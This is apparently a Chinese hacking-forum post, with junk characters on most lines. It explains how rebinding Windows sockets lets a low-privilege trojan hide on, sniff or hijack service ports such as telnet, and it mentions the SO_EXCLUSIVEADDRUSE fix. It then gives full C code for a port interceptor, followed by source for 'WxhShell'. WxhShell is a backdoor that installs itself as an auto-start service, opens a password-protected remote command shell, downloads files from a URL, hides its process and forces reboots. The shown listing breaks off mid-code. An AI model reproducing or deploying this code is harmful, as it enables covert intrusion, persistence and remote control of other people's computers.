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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f+1@mGt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sE&1ZJ]7  
</2 aQn  
  saddr.sin_family = AF_INET; LVT:oIQ  
_!,Ees=b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^h^.;Iqr=  
rn/~W[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .3&( Y  
o59b#9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KwU;+=_.  
;8a9S0eS  
  这意味着什么?意味着可以进行如下的攻击: :kFPPx?  
1) 5$,+~lL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tAsap}(  
3g3f87[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q-z `rW  
:W;eW%Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %SuELm  
xpc{#/Nk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'q?Y5@s  
voQJ!h1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E^A S65%bL  
Lv#0-+]$Bt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fUr%@&~l^  
i%[+C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [+Fajo;0  
F?[1 m2  
  #include )FNn  
  #include CK1A$$gnz  
  #include uehu\umt=  
  #include    HLOr Dlj7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f;AI4:#I  
  int main() 7hTpjox2  
  { u`D _  
  WORD wVersionRequested; %z=:P{0UQ  
  DWORD ret; k7j.VpN9  
  WSADATA wsaData; ) J.xQ}g  
  BOOL val; @T:J<,  
  SOCKADDR_IN saddr; i&?\Pp;5-j  
  SOCKADDR_IN scaddr; ',K:.$My  
  int err; {xeJO:M3/  
  SOCKET s; wl&T9O;?  
  SOCKET sc; g9fYt&  
  int caddsize; U8J9 #+:  
  HANDLE mt; XwFTAaZ  
  DWORD tid;   .]s? 01Z  
  wVersionRequested = MAKEWORD( 2, 2 ); *@p"  
  err = WSAStartup( wVersionRequested, &wsaData ); 8d_J9Ho  
  if ( err != 0 ) {  JJmW%%]i  
  printf("error!WSAStartup failed!\n"); HNCu:$Wr@  
  return -1; #:By/9}-  
  } xy b=7  
  saddr.sin_family = AF_INET; mPHto-=fB  
   TgaxZW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J e,o(:  
+80bG(I_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P;o  {t  
  saddr.sin_port = htons(23); |'z24 :8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {@F'BB\  
  { z~3GgR"1d  
  printf("error!socket failed!\n"); g?Tev^D  
  return -1; W@ &a  
  } ,SidY\FzH  
  val = TRUE; 0|.jIix;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^b$_I31D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >KL=(3:":p  
  { uAqiL>y  
  printf("error!setsockopt failed!\n"); i1XRB C9  
  return -1; l5.k2{'  
  } , ^K.J29  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c?e-2Dp(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yo/;@}g}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !y B4;f$  
fge h;cD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ti (Hx  
  { 8lzoiA_9  
  ret=GetLastError(); !+A%`m  
  printf("error!bind failed!\n"); v/9DD%An  
  return -1; !Ve0:$  
  } LRts W(A/  
  listen(s,2); !^&VZh  
  while(1) 9 :Oz-b  
  { 5a'`%b{{  
  caddsize = sizeof(scaddr); NLK1IH#  
  //接受连接请求 Ln2FG4{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .|^Gde  
  if(sc!=INVALID_SOCKET) ,dR.Sac v  
  { HE-5e): k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W#~7X  
  if(mt==NULL) C#nT@;VO5  
  { 2.I|8d[  
  printf("Thread Creat Failed!\n"); p]EugLEmG  
  break; ]"b:IWPeI  
  } KILX?Pt[7  
  } U 7.kYu  
  CloseHandle(mt); `BKb60  
  } "gJ.mhHX  
  closesocket(s); uxB)dS  
  WSACleanup(); ~abyjM  
  return 0; ij;NM:|Sd  
  }   \fUX_0k9,  
  DWORD WINAPI ClientThread(LPVOID lpParam) \c CH/  
  { (;;ji!i  
  SOCKET ss = (SOCKET)lpParam; g i6s+2  
  SOCKET sc; +/Y2\ s  
  unsigned char buf[4096]; S'8+jY  
  SOCKADDR_IN saddr; JJ7A` ;  
  long num; 9Y'pT.Gy b  
  DWORD val; 'fl< ac,.  
  DWORD ret; n)"JMzjQ<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -f&vH_eK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'I&0$<  
  saddr.sin_family = AF_INET; o+&Om~W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O*GF/ R8B  
  saddr.sin_port = htons(23); !IdVg$7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G@#lf@M]  
  { ofV0L  
  printf("error!socket failed!\n"); F`m}RL]g  
  return -1; babL.Ua8o  
  } #WSqh +  
  val = 100; %]&$VVVh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I51]+gEN  
  { $uDgBZA\  
  ret = GetLastError(); 05R"/r*  
  return -1; myR{ }G  
  } =DJ:LmK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EN\cwa#FU  
  { !(F?`([A  
  ret = GetLastError(); TLVsTM8 P  
  return -1; t&?{+?p: 9  
  } \/YRhQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q+\<%$:u  
  { sFz0:SqhE  
  printf("error!socket connect failed!\n"); 3?a`@C&x  
  closesocket(sc); HTT&T9]  
  closesocket(ss); 3\@2!:>  
  return -1; }W8A1-UF  
  } B6 (\1  
  while(1) nK :YbLdK,  
  { ah:["< z<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &>,]YrU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N'VTdf?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?-<lIF Fh  
  num = recv(ss,buf,4096,0); __'4Qt   
  if(num>0) 4F|79U #  
  send(sc,buf,num,0); @d0f+9d  
  else if(num==0) qisvGHo  
  break; AJ7^'p9Y  
  num = recv(sc,buf,4096,0); H]R/=OYBUh  
  if(num>0) GNMOHqg4  
  send(ss,buf,num,0); PM[_0b  
  else if(num==0) ?h&XIM(  
  break; 5<dg@,\  
  } cb /Q<i  
  closesocket(ss); |T""v_q  
  closesocket(sc); 'JMW.;Lh?X  
  return 0 ; ]5"k%v|  
  } !92e$GJ} ;  
ESRj<p%W  
x^[,0?y2  
========================================================== :TU|:2+  
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下边附上一个代码,,WXhSHELL L T$U z  
uL/wV~g  
========================================================== C*b[J  
9KU&M"Yq&i  
#include "stdafx.h" /ovVS6Ai  
xKSQz  
#include <stdio.h> %m |I=P  
#include <string.h> ZX:rqc  
#include <windows.h> ^7spXfSAd  
#include <winsock2.h> h5'hP>b#  
#include <winsvc.h> ^1.*NG8  
#include <urlmon.h> kP%hgZ  
>NBc-DX^  
#pragma comment (lib, "Ws2_32.lib") 'Nl hLu  
#pragma comment (lib, "urlmon.lib") />S^`KSTM  
-j3Lgm  
#define MAX_USER   100 // 最大客户端连接数 oN,1ig  
#define BUF_SOCK   200 // sock buffer gQ{ #C'  
#define KEY_BUFF   255 // 输入 buffer PK2;Ywk`  
6h>#;M  
#define REBOOT     0   // 重启 tdH[e0x B  
#define SHUTDOWN   1   // 关机 gPKf8{#%e  
%LMpErZO  
#define DEF_PORT   5000 // 监听端口 +Umsr  
}(t`s  
#define REG_LEN     16   // 注册表键长度 |X8?B =  
#define SVC_LEN     80   // NT服务名长度 k)n b<JW|r  
y{hg4|\  
// 从dll定义API }:IIk-JoC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cpjwc@UMe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w1)TnGT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2L](4Q[M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \s*M5oN]]  
d.vNiq,`  
// wxhshell配置信息 n>ui'}L  
struct WSCFG { TF/NA\0c$  
  int ws_port;         // 监听端口 $v@$C4  
  char ws_passstr[REG_LEN]; // 口令 1<BKTMBq?{  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dds-;9  
  char ws_regname[REG_LEN]; // 注册表键名 o0R?vnA=  
  char ws_svcname[REG_LEN]; // 服务名 {1Ra |,;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (+|+ELfqW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z,TH}s6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QXZXj#`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AabQ)23R2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =PRQ3/?5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P5<9;PPbZ  
A O:F*%Q u  
}; ,' | J  
s-"KABEE  
// default Wxhshell configuration h:8P9WhWF  
struct WSCFG wscfg={DEF_PORT, .#QE*<T)]  
    "xuhuanlingzhe", @A1f#Ed<  
    1, 44ty,M3  
    "Wxhshell", S1|u@d'  
    "Wxhshell", `yv?PlKL  
            "WxhShell Service", oPmz$]_Z  
    "Wrsky Windows CmdShell Service", 2&4nf/sE  
    "Please Input Your Password: ", i=Qy?aU?  
  1, /qIQE&V-  
  "http://www.wrsky.com/wxhshell.exe", G]ek-[-  
  "Wxhshell.exe" j?N<40z  
    }; 0V~zZ/e  
kg^0%-F  
// 消息定义模块 h vYRAQR:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |0i{z(B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n|{K_! f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +LRKS  
char *msg_ws_ext="\n\rExit."; k77IXT_7u  
char *msg_ws_end="\n\rQuit."; OvX&5Q5  
char *msg_ws_boot="\n\rReboot..."; F=Bdgg9s  
char *msg_ws_poff="\n\rShutdown..."; @Y/&qpo$#W  
char *msg_ws_down="\n\rSave to "; GI]\  
sv=U^xI  
char *msg_ws_err="\n\rErr!"; y47N(;vy  
char *msg_ws_ok="\n\rOK!"; jB?SX  
w.x&3aG  
char ExeFile[MAX_PATH]; 01?+j%k=m/  
int nUser = 0; D0\>E}Y E  
HANDLE handles[MAX_USER]; Gm B&TD m  
int OsIsNt; Z<.&fZ^jS  
K KB+o)*W  
SERVICE_STATUS       serviceStatus; 6MVu"0#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,JZ>)(@)  
8 MO-QO  
// 函数声明 +F)-n2Bi  
int Install(void); b-<0\@`Z#  
int Uninstall(void); v?VDASR2`  
int DownloadFile(char *sURL, SOCKET wsh); _;k<=ns(=  
int Boot(int flag); JUr t %2  
void HideProc(void); \78E>(`'  
int GetOsVer(void); YCDH0M  
int Wxhshell(SOCKET wsl); SI!A?34  
void TalkWithClient(void *cs); T aS1%(  
int CmdShell(SOCKET sock); KkCGL*]K  
int StartFromService(void); 9 -pt}U  
int StartWxhshell(LPSTR lpCmdLine); %aNm j)L  
+Hu\b&g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G3DgB!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -V}oFxk]q  
nFQuoU]ux  
// 数据结构和表定义 uY.Ns ?8  
SERVICE_TABLE_ENTRY DispatchTable[] = A08kwYxiW  
{ &4:R(]|  
{wscfg.ws_svcname, NTServiceMain}, M(a%Qk?]/  
{NULL, NULL} Fx:38Ae  
}; >%tG[jb  
w0~%,S  
// 自我安装 $2a"Ec!7  
int Install(void) tDRR3=9pX  
{ 8ao-]QoMZ  
  char svExeFile[MAX_PATH]; XkA] 9,@  
  HKEY key;  T01Iu  
  strcpy(svExeFile,ExeFile); OIPY,cj~  
6nL^"3@S!  
// 如果是win9x系统,修改注册表设为自启动 9rMO=  
if(!OsIsNt) { a?-&O$UHf\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6k t,q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S9Sgd&a9  
  RegCloseKey(key); !h.hJt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HV~Fe!J_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aZb\uMePK  
  RegCloseKey(key); ;eYG\uKC{  
  return 0; 9vV==A#  
    } 3&y-xZu]  
  } E]' f&0s  
} (u&x.J  
else { qnp}#BZ  
n<C] 6H  
// 如果是NT以上系统,安装为系统服务 fmixWL7.Zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (\F9_y,6*\  
if (schSCManager!=0) v.|#^A?Qx  
{ 8%K{lg"  
  SC_HANDLE schService = CreateService -Rpra0o. C  
  ( <[[yV  
  schSCManager, ]VjvG};  
  wscfg.ws_svcname, Y!L-5|G  
  wscfg.ws_svcdisp, t1hQ0B  
  SERVICE_ALL_ACCESS, NA0nF8ek  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |`o|;A]  
  SERVICE_AUTO_START, @:?[R&`  
  SERVICE_ERROR_NORMAL, d^=)n-!T  
  svExeFile, tu}!:5xi  
  NULL, 86{>X5+  
  NULL, !Aj}sh{  
  NULL, >Hnm.?-AWl  
  NULL, B $g\;$G  
  NULL -FJ3;fP&  
  ); GNJ /|9  
  if (schService!=0) M 2hZ'  
  { xqX3uq  
  CloseServiceHandle(schService); 1'o[9-  
  CloseServiceHandle(schSCManager); 'V?FeWp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9qftMDLZJ\  
  strcat(svExeFile,wscfg.ws_svcname); -~]H5er`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mc,|C)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \#,2#BmO"E  
  RegCloseKey(key); DKj iooD  
  return 0; .Exvuo`F  
    } v^JzbO~|gj  
  } e6taQz@}  
  CloseServiceHandle(schSCManager); "B{3q`(  
} $BdwKk !k  
} 5f7id7SI  
^t})T*hM0  
return 1; <G}Lc  
} cTq@"v di  
)jOa!E"  
// 自我卸载 MSmr7%g3D  
int Uninstall(void) f- XUto  
{ &<;T$Y  
  HKEY key; <mFDC?j  
)J[m>tyY5  
if(!OsIsNt) { Z9DfwWI2nu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7GO9z<m)  
  RegDeleteValue(key,wscfg.ws_regname); -*k2:i`  
  RegCloseKey(key); &za }TH m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U\P4ts  
  RegDeleteValue(key,wscfg.ws_regname); $rXCNew(  
  RegCloseKey(key); bW=q G  
  return 0; i9L]h69r  
  } 486\a  
} X\m\yv}}  
} &?R/6"J  
else { V| V 9.  
He=C\"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J:Fq ip  
if (schSCManager!=0) Wo "s;Z  
{ S' $;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l6bY!I>  
  if (schService!=0) EsKgS\`RZ  
  { !\7 M7  
  if(DeleteService(schService)!=0) { ~6;I"0b5  
  CloseServiceHandle(schService); ',R%Q0Q  
  CloseServiceHandle(schSCManager); {N}az"T4f  
  return 0; svmb~n&x6  
  } "Ol:ni1  
  CloseServiceHandle(schService); zwV!6xG  
  } u:APGR^  
  CloseServiceHandle(schSCManager); h,$CJdDY]  
} q~}oU5  
} 9jjeZc'  
w(V%EEk  
return 1; nod&^%O"  
} IVPN=jg?  
q'8*bu_  
// 从指定url下载文件 LL e*| :  
int DownloadFile(char *sURL, SOCKET wsh) 2"G9?)d9  
{ ![%wM Pp  
  HRESULT hr; L(yUS)O  
char seps[]= "/"; DujVV(+I  
char *token; LG:k}z/T  
char *file; b@CjnAZ  
char myURL[MAX_PATH]; )G)6D"5,+G  
char myFILE[MAX_PATH]; lNxP  
.6`r`|=  
strcpy(myURL,sURL); q%x i>H.:{  
  token=strtok(myURL,seps); 'etA1]<N  
  while(token!=NULL)  skl3/!  
  { G{[w+ObX  
    file=token; _G'ki.[S7  
  token=strtok(NULL,seps); 82@^vX  
  } c ?CD;Pk  
Ypzmc$Xfu  
GetCurrentDirectory(MAX_PATH,myFILE); F{jxs/~  
strcat(myFILE, "\\"); Q$ew.h  
strcat(myFILE, file); 7nT|yL?  
  send(wsh,myFILE,strlen(myFILE),0); `+n0a@BVB  
send(wsh,"...",3,0); T{ @@V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?L0;, \-t  
  if(hr==S_OK) -u@ ^P7  
return 0; r{.pXf  
else JxinfWk  
return 1; )'m;a_r`  
}@HgFM"  
} oZ*?Uh*  
1|{s8[;8  
// 系统电源模块 ML>M:Ik+  
int Boot(int flag) >s5}pkAv|e  
{ UWO3sZpU  
  HANDLE hToken; /V*SI!C<f  
  TOKEN_PRIVILEGES tkp; 4tm%F\Izy  
$\ZWQct  
  if(OsIsNt) { ]<<,{IQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~T;:Tg*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KD A8x W  
    tkp.PrivilegeCount = 1; fof}I:vO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b|-)p+ba  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KS8@A/f  
if(flag==REBOOT) { i@+m<YS:2>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rf0so   
  return 0;  7V5c`:"  
} ke2dQ^kc4  
else { 9xbT?$^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4}DFCF%B  
  return 0; _OG9wi(Fpx  
} F?'  
  } LN+x!#:e  
  else { *KNfPh#wi}  
if(flag==REBOOT) { :PBFFLe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h rSH)LbJ  
  return 0; jv.tg,c_6  
} vk E]$4P[$  
else { ].rKfv:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a_!H_J  
  return 0; L E\rc A  
} Tl yyJ{~  
} WA2NjxYz  
eW 4[2Q  
return 1; )&T 5 /+  
} FDgo6x   
?jz\[0)s  
// win9x进程隐藏模块 g^ ?G)>  
void HideProc(void) }*bp4<|  
{ <eEIR  
=7e!'cF[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p^ (Z  
  if ( hKernel != NULL ) lwfS$7^P  
  { 4*Hzys[{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B Evt{q4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wi=zu[[qc  
    FreeLibrary(hKernel); ;-"!p  
  } [<,7LG<  
v76P?[  
return; gw"SKp!]  
} Ub f5 :  
Jvc<j:{^w  
// 获取操作系统版本 xGyl7$J  
int GetOsVer(void) *bo| F%NAz  
{ _*UI}JtlS  
  OSVERSIONINFO winfo; h._eP.W`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W#!AZ!  
  GetVersionEx(&winfo); WYF8?1dt +  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tXA?[ S  
  return 1; hpXW t Q  
  else 9nVb$pfe#  
  return 0; ~zfF*A  
} %J-:%i  
J>#hu3&UOQ  
// 客户端句柄模块 9b >+ehjB  
int Wxhshell(SOCKET wsl) 4z P"h0  
{ >{ {ds--  
  SOCKET wsh; ! (lF#MG}  
  struct sockaddr_in client; 41=H&G&  
  DWORD myID; rD21:1s  
nGWy4rY2S  
  while(nUser<MAX_USER) o]tfvGvU*  
{ BegO\0%+  
  int nSize=sizeof(client); MR,I`9Pe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?@PSD\  
  if(wsh==INVALID_SOCKET) return 1; { Zv%DV4_$  
Y[)mHs2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <w}^Z}fpk&  
if(handles[nUser]==0) .n+ ;&5  
  closesocket(wsh); GU`q^q@Ea  
else ?J + jv  
  nUser++; #Pk{emYW  
  } - q9m@!L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZDaHR-%Y  
v/xlb&Xx  
  return 0; |WS@q'  
} l8(9?!C  
&8f/6dq  
// 关闭 socket M/Z$?nd_H  
void CloseIt(SOCKET wsh) ':}9>B3 S  
{ h/A\QW8Sd  
closesocket(wsh); 5Q%)|(U'  
nUser--; {hN\=_6*EW  
ExitThread(0); 6X9$T11Vc  
} |APOTQV  
n;. M5}O  
// 客户端请求句柄 esZhX)dS  
void TalkWithClient(void *cs) ,7cw%mQA  
{ |qguLab(  
* G*VY#L  
  SOCKET wsh=(SOCKET)cs; ~pp< T  
  char pwd[SVC_LEN]; \nP79F0%2  
  char cmd[KEY_BUFF]; !21G $ [H  
char chr[1]; UVLS?1ra  
int i,j; }R}M>^(R4  
2HVqJib4Yn  
  while (nUser < MAX_USER) { 03)irq%l;  
kD+#|f  
if(wscfg.ws_passstr) { w5y.kc;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |1 qrU(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !XjZt  
  //ZeroMemory(pwd,KEY_BUFF); >pZ _  
      i=0; [u*7( 4e  
  while(i<SVC_LEN) { :j3^p8]  
a!6r&<s=E  
  // 设置超时 jtfC3E,U  
  fd_set FdRead; h&i(Kfv*  
  struct timeval TimeOut; q1YNp`]0i8  
  FD_ZERO(&FdRead); %!-t7K^mFq  
  FD_SET(wsh,&FdRead); VJ'-"8tY&  
  TimeOut.tv_sec=8;  * ;Q#UH  
  TimeOut.tv_usec=0; nm\f$K>Pg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2\.23  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ #/8l58  
C$q-WoTM(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  8zRw\]?  
  pwd=chr[0]; 8?m=Vw<kIZ  
  if(chr[0]==0xd || chr[0]==0xa) { B!`.,3  
  pwd=0; "i&n;8?Y  
  break; f#AuZ]h  
  } :T PG~`k(  
  i++; ?$;&DoE  
    } i@P= *lLD  
aBQ--Sz  
  // 如果是非法用户,关闭 socket G+sB/l"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H/[(T%]o  
} }Gb^%1%M  
SZ4y\I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <l,e6K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NR&a er  
MW^FY4V1m  
while(1) { B ( h`~pb  
_}\KC+n8  
  ZeroMemory(cmd,KEY_BUFF); .AX%6+o  
8KP   
      // 自动支持客户端 telnet标准   sX>|Y3S\U  
  j=0; g&B7Y|Es  
  while(j<KEY_BUFF) { O.Dz}[w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2>x[_  
  cmd[j]=chr[0]; /^{Q(R(X<  
  if(chr[0]==0xa || chr[0]==0xd) { ^cW{%R>XY  
  cmd[j]=0;  `m_f i  
  break; Yx. t+a-  
  } #0*I|gfV  
  j++; cbou1Ei   
    } nf _(_O=  
v(sS$2J|}  
  // 下载文件 t':*~b{V@7  
  if(strstr(cmd,"http://")) { GQ.akA_(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *x#5S.i1  
  if(DownloadFile(cmd,wsh)) PMQ31f/zf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}=[r1M*  
  else Lrx"Hn{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <;b  
  } 1Ogtzf  
  else { }EfRYE$E  
ou|3%&*"  
    switch(cmd[0]) { ;SA+| ,  
  A1zV5-E/  
  // 帮助 o'P[uB/  
  case '?': { RC"xnnIJv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xU.Ymq& 5  
    break; 7S&O {Q7)  
  } B%[#["Ol  
  // 安装 |SJ%Myy  
  case 'i': { TxkvHiq2  
    if(Install()) 1U~'8=-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;rCCkA6  
    else ]%Whtj.,x7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VJgf, 5 (N  
    break; sh<JB`^$(?  
    } {;UBW7{  
  // 卸载 OH+2)X  
  case 'r': { %HZ!s `w_  
    if(Uninstall()) c3Ig4n0Y>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5oD%~Fk l  
    else }2?-kj7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Si#XF[/  
    break; [z} $G:s  
    } ).C>>1ZC  
  // 显示 wxhshell 所在路径 p_3VFKq>0  
  case 'p': { %%O_:@9x,  
    char svExeFile[MAX_PATH]; c$hoqi |tD  
    strcpy(svExeFile,"\n\r"); 7.^1I7O  
      strcat(svExeFile,ExeFile); \w{fq+G  
        send(wsh,svExeFile,strlen(svExeFile),0); $/JnYkL{m  
    break; U@:iN..  
    } 5i3 nz=~o  
  // 重启 9EZh~tdV[  
  case 'b': { 6ozBU^n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | -AR)Smt  
    if(Boot(REBOOT)) c*> SZ'T\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&xRb*  
    else { P}p6{  
    closesocket(wsh); E[_-s  
    ExitThread(0);  #Bn7Cc  
    } l]e7  
    break; !jJH}o/KW  
    } b WZ X  
  // 关机 j7&0ckN&G  
  case 'd': { MdNV3:[\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w+ibY  
